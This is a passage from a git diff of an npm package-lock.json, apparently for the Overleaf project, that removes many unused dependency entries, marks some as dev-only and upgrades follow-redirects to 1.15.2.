"sha1-bvTpVOp9z1T2aq0v56pCGTLZ7Xc=", ++ "dev": true + }, + "electron-to-chromium": { + "version": "1.4.57", +@@ -50483,14 +41221,6 @@ + "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz", + "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==" + }, +- "es6-promisify": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz", +- "integrity": "sha512-C+d6UdsYDk0lMebHNR4S2NybQMMngAOnOwYBQjTOiv0MkoJMP0Myw2mgpDLBcpfCmRLxyFqYhS/CfOENq4SJhQ==", +- "requires": { +- "es6-promise": "^4.0.3" +- } +- }, + "es6-symbol": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz", +@@ -50500,18 +41230,6 @@ + "ext": "^1.1.2" + } + }, +- "es6-weak-map": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz", +- "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==", +- "dev": true, +- "requires": { +- "d": "1", +- "es5-ext": "^0.10.46", +- "es6-iterator": "^2.0.3", +- "es6-symbol": "^3.1.1" +- } +- }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", +@@ -51023,11 +41741,6 @@ + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "dev": true + }, +- "esm": { +- "version": "3.2.25", +- "resolved": "https://registry.npmjs.org/esm/-/esm-3.2.25.tgz", +- "integrity": "sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==" +- }, + "espree": { + "version": "9.3.2", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.3.2.tgz", +@@ -51189,101 +41902,14 @@ + "exit": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", +- "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=" ++ "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=", ++ "dev": true + }, + "exit-on-epipe": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/exit-on-epipe/-/exit-on-epipe-1.0.1.tgz", + "integrity": "sha512-h2z5mrROTxce56S+pnvAV890uu7ls7f1kEvVGJbw1OlFH3/mlJ5bkXu0KRyW94v37zzHPiUd55iLn3DA7TjWpw==" + }, +- "expand-brackets": { +- "version": "2.1.4", +- "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", +- "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", +- "requires": { +- "debug": "^2.3.3", +- "define-property": "^0.2.5", +- "extend-shallow": "^2.0.1", +- "posix-character-classes": "^0.1.0", +- "regex-not": "^1.0.0", +- "snapdragon": "^0.8.1", +- "to-regex": "^3.0.1" +- }, +- "dependencies": { +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "define-property": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", +- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", +- "requires": { +- "is-descriptor": "^0.1.0" +- } +- }, +- "is-accessor-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", +- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "is-data-descriptor": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", +- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "is-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", +- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", +- "requires": { +- "is-accessor-descriptor": "^0.1.6", +- "is-data-descriptor": "^0.1.4", +- "kind-of": "^5.0.0" +- } +- }, +- "kind-of": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", +- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- } +- } +- }, + "expand-range": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz", +@@ -51323,14 +41949,6 @@ + } + } + }, +- "expand-tilde": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz", +- "integrity": "sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=", +- "requires": { +- "homedir-polyfill": "^1.0.1" +- } +- }, + "express": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", +@@ -51480,14 +42098,6 @@ + } + } + }, +- "express-basic-auth": { +- "version": "1.2.1", +- "resolved": "https://registry.npmjs.org/express-basic-auth/-/express-basic-auth-1.2.1.tgz", +- "integrity": "sha512-L6YQ1wQ/mNjVLAmK3AG1RK6VkokA1BIY6wmiH304Xtt/cLTps40EusZsU1Uop+v9lTDPxdtzbFmdXfFO3KEnwA==", +- "requires": { +- "basic-auth": "^2.0.1" +- } +- }, + "express-bearer-token": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/express-bearer-token/-/express-bearer-token-2.4.0.tgz", +@@ -51596,35 +42206,11 @@ + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", ++ "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, +- "extglob": { +- "version": "2.0.4", +- "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", +- "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", +- "requires": { +- "array-unique": "^0.3.2", +- "define-property": "^1.0.0", +- "expand-brackets": "^2.1.4", +- "extend-shallow": "^2.0.1", +- "fragment-cache": "^0.2.1", +- "regex-not": "^1.0.0", +- "snapdragon": "^0.8.1", +- "to-regex": "^3.0.1" +- }, +- "dependencies": { +- "define-property": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", +- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", +- "requires": { +- "is-descriptor": "^1.0.0" +- } +- } +- } +- }, + "extract-zip": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", +@@ -51689,11 +42275,6 @@ + "micromatch": "^4.0.4" + } + }, +- "fast-json-patch": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/fast-json-patch/-/fast-json-patch-3.1.0.tgz", +- "integrity": "sha512-IhpytlsVTRndz0hU5t0/MGzS/etxLlfrpG5V5M9mVbuj9TrJLWaMfsox9REM5rkuGX0T+5qjpe8XA1o0gZ42nA==" +- }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", +@@ -51705,11 +42286,6 @@ + "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", + "dev": true + }, +- "fast-safe-stringify": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", +- "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==" +- }, + "fast-text-encoding": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/fast-text-encoding/-/fast-text-encoding-1.0.3.tgz", +@@ -51759,24 +42335,6 @@ + "pend": "~1.2.0" + } + }, +- "feature-detect-es6": { +- "version": "1.5.0", +- "resolved": "https://registry.npmjs.org/feature-detect-es6/-/feature-detect-es6-1.5.0.tgz", +- "integrity": "sha512-DzWPIGzTnfp3/KK1d/YPfmgLqeDju9F2DQYBL35VusgSApcA7XGqVtXfR4ETOOFEzdFJ3J7zh0Gkk011TiA4uQ==", +- "requires": { +- "array-back": "^1.0.4" +- }, +- "dependencies": { +- "array-back": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz", +- "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=", +- "requires": { +- "typical": "^2.6.0" +- } +- } +- } +- }, + "feature-policy": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/feature-policy/-/feature-policy-0.3.0.tgz", +@@ -51998,130 +42556,6 @@ + "resolved": "https://registry.npmjs.org/findit2/-/findit2-2.2.3.tgz", + "integrity": "sha1-WKRmaX34piBc39vzlVNri9d3pfY=" + }, +- "findup-sync": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz", +- "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==", +- "requires": { +- "detect-file": "^1.0.0", +- "is-glob": "^4.0.0", +- "micromatch": "^3.0.4", +- "resolve-dir": "^1.0.1" +- }, +- "dependencies": { +- "braces": { +- "version": "2.3.2", +- "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", +- "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", +- "requires": { +- "arr-flatten": "^1.1.0", +- "array-unique": "^0.3.2", +- "extend-shallow": "^2.0.1", +- "fill-range": "^4.0.0", +- "isobject": "^3.0.1", +- "repeat-element": "^1.1.2", +- "snapdragon": "^0.8.1", +- "snapdragon-node": "^2.0.1", +- "split-string": "^3.0.2", +- "to-regex": "^3.0.1" +- } +- }, +- "fill-range": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", +- "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", +- "requires": { +- "extend-shallow": "^2.0.1", +- "is-number": "^3.0.0", +- "repeat-string": "^1.6.1", +- "to-regex-range": "^2.1.0" +- } +- }, +- "is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "requires": { +- "is-plain-object": "^2.0.4" +- } +- }, +- "is-number": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", +- "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "micromatch": { +- "version": "3.1.10", +- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", +- "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", +- "requires": { +- "arr-diff": "^4.0.0", +- "array-unique": "^0.3.2", +- "braces": "^2.3.1", +- "define-property": "^2.0.2", +- "extend-shallow": "^3.0.2", +- "extglob": "^2.0.4", +- "fragment-cache": "^0.2.1", +- "kind-of": "^6.0.2", +- "nanomatch": "^1.2.9", +- "object.pick": "^1.3.0", +- "regex-not": "^1.0.0", +- "snapdragon": "^0.8.1", +- "to-regex": "^3.0.2" +- }, +- "dependencies": { +- "extend-shallow": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", +- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", +- "requires": { +- "assign-symbols": "^1.0.0", +- "is-extendable": "^1.0.1" +- } +- } +- } +- }, +- "to-regex-range": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", +- "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", +- "requires": { +- "is-number": "^3.0.0", +- "repeat-string": "^1.6.1" +- } +- } +- } +- }, +- "fined": { +- "version": "1.2.0", +- "resolved": "https://registry.npmjs.org/fined/-/fined-1.2.0.tgz", +- "integrity": "sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==", +- "requires": { +- "expand-tilde": "^2.0.2", +- "is-plain-object": "^2.0.3", +- "object.defaults": "^1.1.0", +- "object.pick": "^1.2.0", +- "parse-filepath": "^1.0.1" +- } +- }, +- "flagged-respawn": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/flagged-respawn/-/flagged-respawn-1.0.1.tgz", +- "integrity": "sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q==" +- }, + "flat": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", +@@ -52159,6 +42593,7 @@ + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/flowstate/-/flowstate-0.4.1.tgz", + "integrity": "sha1-tfu4t/wte9xbVL5GyYMJ73NvTsA=", ++ "dev": true, + "requires": { + "clone": "^1.0.2", + "uid-safe": "^2.1.0", +@@ -52168,7 +42603,8 @@ + "clone": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", +- "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=" ++ "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", ++ "dev": true + } + } + }, +@@ -52215,9 +42651,9 @@ + } + }, + "follow-redirects": { +- "version": "1.14.9", +- "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.9.tgz", +- "integrity": "sha512-MQDfihBQYMcyy5dhRDJUHcw7lb2Pv/TuE6xP1vyraLukNDHKbDxDNaOE3NbCAdKQApno+GPRyo1YAp89yCjK4w==" ++ "version": "1.15.2", ++ "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz", ++ "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==" + }, + "for-each": { + "version": "0.3.3", +@@ -52230,15 +42666,8 @@ + "for-in": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", +- "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=" +- }, +- "for-own": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", +- "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=", +- "requires": { +- "for-in": "^1.0.1" +- } ++ "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", ++ "dev": true + }, + "foreach": { + "version": "2.0.5", +@@ -52260,36 +42689,6 @@ + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" + }, +- "form-data": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz", +- "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", +- "peer": true, +- "requires": { +- "asynckit": "^0.4.0", +- "combined-stream": "^1.0.8", +- "mime-types": "^2.1.12" +- } +- }, +- "form-data-encoder": { +- "version": "1.7.1", +- "resolved": "https://registry.npmjs.org/form-data-encoder/-/form-data-encoder-1.7.1.tgz", +- "integrity": "sha512-EFRDrsMm/kyqbTQocNvRXMLjc7Es2Vk+IQFx/YW7hkUH1eBl4J1fqiP34l74Yt0pFLCNpc06fkbVk00008mzjg==" +- }, +- "formdata-node": { +- "version": "4.3.2", +- "resolved": "https://registry.npmjs.org/formdata-node/-/formdata-node-4.3.2.tgz", +- "integrity": "sha512-k7lYJyzDOSL6h917favP8j1L0/wNyylzU+x+1w4p5haGVHNlP58dbpdJhiCUsDbWsa9HwEtLp89obQgXl2e0qg==", +- "requires": { +- "node-domexception": "1.0.0", +- "web-streams-polyfill": "4.0.0-beta.1" +- } +- }, +- "formidable": { +- "version": "1.2.6", +- "resolved": "https://registry.npmjs.org/formidable/-/formidable-1.2.6.tgz", +- "integrity": "sha512-KcpbcpuLNOwrEjnbpMC0gS+X8ciDoZE1kkqzat4a8vrprf+s9pKNQ/QIwWfbfs4ltgmFl3MD177SNTkve3BwGQ==" +- }, + "formik": { + "version": "2.2.9", + "resolved": "https://registry.npmjs.org/formik/-/formik-2.2.9.tgz", +@@ -52326,31 +42725,6 @@ + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==" + }, +- "fragment-cache": { +- "version": "0.2.1", +- "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", +- "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", +- "requires": { +- "map-cache": "^0.2.2" +- } +- }, +- "freegeoip": { +- "version": "file:services/freegeoip", +- "requires": { +- "@maxmind/geoip2-node": "^3.4.0", +- "@overleaf/logger": "^3.1.1", +- "@overleaf/metrics": "^4.0.0", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "express": "^4.18.1", +- "is-valid-hostname": "^1.0.2", +- "mocha": "^8.4.0", +- "node-fetch": "^2.6.7", +- "nodemon": "^2.0.19", +- "tar-stream": "^2.2.0", +- "zlib": "^1.0.5" +- } +- }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", +@@ -52573,11 +42947,6 @@ + } + } + }, +- "generic-pool": { +- "version": "2.5.4", +- "resolved": "https://registry.npmjs.org/generic-pool/-/generic-pool-2.5.4.tgz", +- "integrity": "sha1-OMYYhRPhQDCUjsblz2VSPZd5KZs=" +- }, + "gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", +@@ -52615,14 +42984,6 @@ + "resolved": "https://registry.npmjs.org/get-port/-/get-port-5.1.1.tgz", + "integrity": "sha512-g/Q1aTSDOxFpchXC4i8ZWvxA1lnPqx/JHqcpIw0/LX9T8x/GBbi6YnlN5nhaKIFkT8oFsscUKgDJYxfwfS6QsQ==" + }, +- "get-stream": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", +- "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", +- "requires": { +- "pump": "^3.0.0" +- } +- }, + "get-symbol-description": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", +@@ -52632,16 +42993,6 @@ + "get-intrinsic": "^1.1.1" + } + }, +- "get-value": { +- "version": "2.0.6", +- "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", +- "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=" +- }, +- "getopts": { +- "version": "2.2.5", +- "resolved": "https://registry.npmjs.org/getopts/-/getopts-2.2.5.tgz", +- "integrity": "sha512-9jb7AW5p3in+IiJWhQiZmmwkpLaR/ccTWdWQCtZM66HJcHHLegowh4q4tSD7gouUyeNvFWRavfK9GXosQHDpFA==" +- }, + "getos": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/getos/-/getos-3.2.1.tgz", +@@ -52834,51 +43185,6 @@ + } + } + }, +- "good-bunyan": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/good-bunyan/-/good-bunyan-3.0.1.tgz", +- "integrity": "sha512-zhux9w1Ux6uLobUYJWyOy4l8HFl6tYol+0yfDtAu2+V9RYZUSVL1RWz83fAjbcoVk4c1h2iQaBRh0EnnVUoOvQ==", +- "requires": { +- "bunyan": "^1.8.12", +- "fast-safe-stringify": "^2.0.3", +- "good-squeeze": "^5.0.x", +- "hoek": "^5.0.3", +- "joi": "^13.1.2" +- }, +- "dependencies": { +- "joi": { +- "version": "13.7.0", +- "resolved": "https://registry.npmjs.org/joi/-/joi-13.7.0.tgz", +- "integrity": "sha512-xuY5VkHfeOYK3Hdi91ulocfuFopwgbSORmIwzcwHKESQhC7w1kD5jaVSPnqDxS2I8t3RZ9omCKAxNwXN5zG1/Q==", +- "requires": { +- "hoek": "5.x.x", +- "isemail": "3.x.x", +- "topo": "3.x.x" +- } +- } +- } +- }, +- "good-squeeze": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/good-squeeze/-/good-squeeze-5.1.0.tgz", +- "integrity": "sha1-Jl8+i+YIGqRMVdSE0a83XhZnUrk=", +- "requires": { +- "fast-safe-stringify": "2.0.x", +- "hoek": "4.2.x" +- }, +- "dependencies": { +- "fast-safe-stringify": { +- "version": "2.0.8", +- "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.0.8.tgz", +- "integrity": "sha512-lXatBjf3WPjmWD6DpIZxkeSsCOwqI0maYMpgDlx8g4U2qi4lbjA9oH/HD2a87G+KfsUmo5WbJFmqBZlPxtptag==" +- }, +- "hoek": { +- "version": "4.2.1", +- "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz", +- "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA==" +- } +- } +- }, + "google-auth-library": { + "version": "7.11.0", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-7.11.0.tgz", +@@ -52963,311 +43269,11 @@ + "node-forge": "^1.0.0" + } + }, +- "googleapis": { +- "version": "39.2.0", +- "resolved": "https://registry.npmjs.org/googleapis/-/googleapis-39.2.0.tgz", +- "integrity": "sha512-66X8TG1B33zAt177sG1CoKoYHPP/B66tEpnnSANGCqotMuY5gqSQO8G/0gqHZR2jRgc5CHSSNOJCnpI0SuDxMQ==", +- "requires": { +- "google-auth-library": "^3.0.0", +- "googleapis-common": "^0.7.0" +- }, +- "dependencies": { +- "agent-base": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz", +- "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==", +- "requires": { +- "es6-promisify": "^5.0.0" +- } +- }, +- "debug": { +- "version": "3.2.7", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", +- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", +- "requires": { +- "ms": "^2.1.1" +- } +- }, +- "gaxios": { +- "version": "1.8.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-1.8.4.tgz", +- "integrity": "sha512-BoENMnu1Gav18HcpV9IleMPZ9exM+AvUjrAOV4Mzs/vfz2Lu/ABv451iEXByKiMPn2M140uul1txXCg83sAENw==", +- "requires": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^2.2.1", +- "node-fetch": "^2.3.0" +- } +- }, +- "gcp-metadata": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-1.0.0.tgz", +- "integrity": "sha512-Q6HrgfrCQeEircnNP3rCcEgiDv7eF9+1B+1MMgpE190+/+0mjQR8PxeOaRgxZWmdDAF9EIryHB9g1moPiw1SbQ==", +- "requires": { +- "gaxios": "^1.0.2", +- "json-bigint": "^0.3.0" +- } +- }, +- "google-auth-library": { +- "version": "3.1.2", +- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-3.1.2.tgz", +- "integrity": "sha512-cDQMzTotwyWMrg5jRO7q0A4TL/3GWBgO7I7q5xGKNiiFf9SmGY/OJ1YsLMgI2MVHHsEGyrqYnbnmV1AE+Z6DnQ==", +- "requires": { +- "base64-js": "^1.3.0", +- "fast-text-encoding": "^1.0.0", +- "gaxios": "^1.2.1", +- "gcp-metadata": "^1.0.0", +- "gtoken": "^2.3.2", +- "https-proxy-agent": "^2.2.1", +- "jws": "^3.1.5", +- "lru-cache": "^5.0.0", +- "semver": "^5.5.0" +- } +- }, +- "google-p12-pem": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-1.0.5.tgz", +- "integrity": "sha512-50rTrqYPTPPwlu9TNl/HkJbBENEpbRzTOVLFJ4YWM86njZgXHFy+FP+tLRSd9m132Li9Dqi27Z3KIWDEv5y+EA==", +- "requires": { +- "node-forge": "^0.10.0", +- "pify": "^4.0.0" +- } +- }, +- "gtoken": { +- "version": "2.3.3", +- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-2.3.3.tgz", +- "integrity": "sha512-EaB49bu/TCoNeQjhCYKI/CurooBKkGxIqFHsWABW0b25fobBYVTMe84A8EBVVZhl8emiUdNypil9huMOTmyAnw==", +- "requires": { +- "gaxios": "^1.0.4", +- "google-p12-pem": "^1.0.0", +- "jws": "^3.1.5", +- "mime": "^2.2.0", +- "pify": "^4.0.0" +- } +- }, +- "https-proxy-agent": { +- "version": "2.2.4", +- "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.4.tgz", +- "integrity": "sha512-OmvfoQ53WLjtA9HeYP9RNrWMJzzAz1JGaSFr1nijg0PVR1JaD/xbJq1mdEIIlxGpXp9eSe/O2LgU9DJmTPd0Eg==", +- "requires": { +- "agent-base": "^4.3.0", +- "debug": "^3.1.0" +- } +- }, +- "json-bigint": { +- "version": "0.3.1", +- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz", +- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==", +- "requires": { +- "bignumber.js": "^9.0.0" +- } +- }, +- "jwa": { +- "version": "1.4.1", +- "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz", +- "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==", +- "requires": { +- "buffer-equal-constant-time": 